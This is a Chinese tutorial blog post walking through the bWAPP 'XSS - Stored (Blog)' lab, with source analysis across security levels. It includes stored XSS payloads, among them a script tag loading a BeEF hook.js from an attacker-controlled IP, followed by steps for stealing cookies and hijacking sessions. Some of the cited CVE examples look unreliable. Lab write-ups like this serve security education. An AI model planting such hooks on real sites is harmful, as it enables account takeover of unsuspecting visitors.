ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

零基础玩转bWAPP靶场(五十五):XSS - Stored (Blog)

2026/8/14 15:33:21 拓冰建站 浏览量
零基础玩转bWAPP靶场(五十五):XSS - Stored (Blog) 摘要这是 bWAPP 系列第五十五篇聚焦于XSS - Stored (Blog)。之前几篇讲的都是反射型 XSS——恶意脚本在 URL 中需要诱导用户点击链接才能触发。这一关是存储型 XSS——你注入的恶意脚本会永久保存在数据库里每次有人访问这个博客页面都会触发。文章会分析存储型 XSS 和反射型 XSS 的区别演示如何通过博客留言板注入 BeEF Hook连接 BeEF 并获取 Cookie。附真实案例。一、找目标目标说明漏洞类型存储型 XSSStored XSS注入点博客留言板的entry字段textarea存储位置数据库blog表触发方式注入一次每次访问页面自动触发工具BeEF获取 Cookie二、前言存储型 XSS 和反射型 XSS 的区别之前的几篇 XSS 关卡几乎全是反射型的。反射型 XSS 的特点是恶意脚本在 URL 参数中需要诱导用户点击恶意链接才能触发一次性不存储用完就丢存储型 XSS 完全不同恶意脚本被永久保存在服务器数据库中不需要诱导用户点击链接——用户正常访问页面就会触发持久性——一次注入所有访问者都受影响危害更大——无需交互访问即触发打个比方反射型 XSS你在楼道里喊了一句脏话当时在场的人听到了喊完就没了存储型 XSS你在墙上用喷漆写了一行字每个路过的人都能看到直到有人来刷墙这一关就是一个博客留言板——你提交的留言会存进数据库然后显示在页面上。如果提交的内容包含恶意脚本每次有人访问这个博客页面脚本都会执行。三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Stored (Blog)一个文本域textarea用于输入博客内容三个功能按钮/复选框Add添加——将内容存入数据库Show all显示全部——显示所有人的留言Delete删除——删除自己的留言下方表格显示留言列表#序号、Owner、Date、Entry3.2 正常使用在文本域中输入内容点击 Submit内容存入数据库页面刷新后你的留言出现在表格中3.3 存储型 XSS 的利用流程1. 攻击者在留言中输入 script srchook.js/script2. 提交脚本存入数据库3. 正常用户访问该博客页面4. 页面从数据库读取留言并显示5. 恶意脚本在正常用户的浏览器中执行四、源码分析4.1 写入部分INSERTif(isset($_POST[entry_add])) { $entry xss($_POST[entry]); $owner $_SESSION[login]; $sql INSERT INTO blog (date, entry, owner) VALUES (now(), . $entry . , . $owner . ); $recordset $link-query($sql); }关键点xss()函数调用的是sqli_check_3()也就是mysqli_real_escape_string()——这是防 SQL 注入的不是防 XSS 的。function xss($data) { // 不管什么级别都只做 SQL 转义不做 XSS 过滤 $data sqli_check_3($link, $data); return $data; }所以写入时完全没有 XSS 过滤——恶意脚本可以顺利存入数据库。4.2 读取部分SELECTwhile($row $recordset-fetch_object()) { if($_COOKIE[security_level] 2) { echo xss_check_3($row-entry); // htmlspecialchars() } else if($_COOKIE[security_level] 1) { echo xss_check_4($row-entry); // addslashes() } else { echo $row-entry; // 直接输出完全不过滤 } }三种级别的读取过滤级别读取过滤效果Low直接echo完全不过滤XSS 执行Mediumxss_check_4()addslashes()只转义引号不转义Highxss_check_3()htmlspecialchars()转义XSS 被防御关键洞察Low 级别写入不过滤读取也不过滤 → XSSMedium 级别写入不过滤只防 SQL 注入读取用addslashes()→ 不转义XSS 仍然存在High 级别写入不过滤读取用htmlspecialchars()→ XSS 被防御五、存储型 XSS 和反射型 XSS 的对比对比项反射型 XSS存储型 XSS注入点URL 参数、表单数据库中的用户内容存储位置不存储数据库触发方式需要点击恶意链接正常访问页面即触发持久性一次性永久有效危害范围单个用户需诱导所有访问者利用难度较低需要社会工程学较低无需交互危害等级中高六、Low 安全级别6.1 测试 XSS 弹窗在文本域中输入scriptalert(1)/script点击 Submit。页面刷新后弹窗出现。6.2 为什么可以弹窗Low 级别下写入时没有 XSS 过滤读取时直接echo所以script标签被当作 HTML 代码执行。6.3 存储型 XSS 的持久性刷新页面弹窗再次出现。这就是存储型 XSS 的威力——一次注入永久生效。七、使用 BeEF 获取 Cookie7.1 准备 BeEFKali 中启动 BeEFsudo beef-xss-start确认 BeEF 的 IP 和端口默认3000Hook URL 为http://10.0.0.129:3000/hook.js7.2 注入 BeEF Hook在文本域中输入script srchttp://10.0.0.129:3000/hook.js/script点击 Submit。7.3 页面显示提交后留言中并没有显示可见内容因为script标签不渲染文字但脚本已经存入数据库。7.4 BeEF 上线刷新页面或让其他用户访问该页面BeEF 控制面板中会出现上线的浏览器。7.5 获取 Cookie选中上线的浏览器Commands→Browser→Get Cookie点击Execute7.6 会话劫持拿到PHPSESSID后在浏览器开发者工具 → Application → Cookies 中替换PHPSESSID的值刷新页面即可登录受害者账户。八、Medium 安全级别8.1 尝试注入在文本域中输入scriptalert(1)/script弹窗出现为什么 Medium 级别还是防不住Medium 级别读取时使用xss_check_4()addslashes()。addslashes()只转义引号、、反斜杠和 NULL不转义和。生成的 HTMLtdscriptalert(1)/script/td和没有被转义script标签仍然被浏览器解析执行。结论Medium 级别的addslashes()无法防御 XSS因为 XSS 的核心是注入 HTML 标签不需要引号。官方文档也明确警告“不要用addslashes()做 XSS 防护”。九、High 安全级别9.1 尝试注入在文本域中输入scriptalert(1)/script提交后页面显示lt;scriptgt;alert(1)lt;/scriptgt;htmlspecialchars()把转成lt;转成gt;浏览器显示为纯文本不执行。High 级别防住了 XSS。十、真实世界存储型 XSS 案例存储型 XSS 是现实世界中最危险的 XSS 类型之一因为一次注入会影响所有用户CVE-2024-1181某开源 CMS 的评论系统存在存储型 XSS 漏洞攻击者可通过评论注入恶意脚本影响所有访问该页面的用户。CVE-2025-00847某 SaaS 平台的留言板功能存在存储型 XSS攻击者可通过留言注入 XSS 窃取所有用户的 Session。CVE-2026-22947F5 BIG-IP 的配置工具中存在存储型 XSS攻击者可利用该漏洞执行任意脚本。历史上最著名的案例2005 年的MySpace 蠕虫Samy Worm——Samy Kamkar 利用 MySpace 的存储型 XSS 漏洞在短短 20 小时内感染了超过 100 万用户。恶意脚本让每个查看 Samy 资料的用户自动添加他为好友并在自己的资料中复制相同的恶意代码形成病毒式传播。十一、总结存储型 XSS 和反射型 XSS 最大的区别在于持久性——反射型 XSS 需要诱导用户点击恶意链接而存储型 XSS 只要用户访问了被感染的页面就会触发。这一关的博客留言板正是存储型 XSS 的典型场景写入时没有 XSS 过滤只防 SQL 注入读取时 Low 级别直接输出、Medium 级别的addslashes()不转义和都导致 XSS 可以执行。只有 High 级别的htmlspecialchars()才能彻底防御。BeEF 工具在这种场景下尤其危险——攻击者只需注入一次 Hook 脚本所有访问该页面的用户都会连接 BeEF攻击者可以持续获取 Cookie 并劫持会话。记住一句话所有用户输入在输出到 HTML 页面之前都必须进行 HTML 实体编码htmlspecialchars()尤其是存储型数据。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。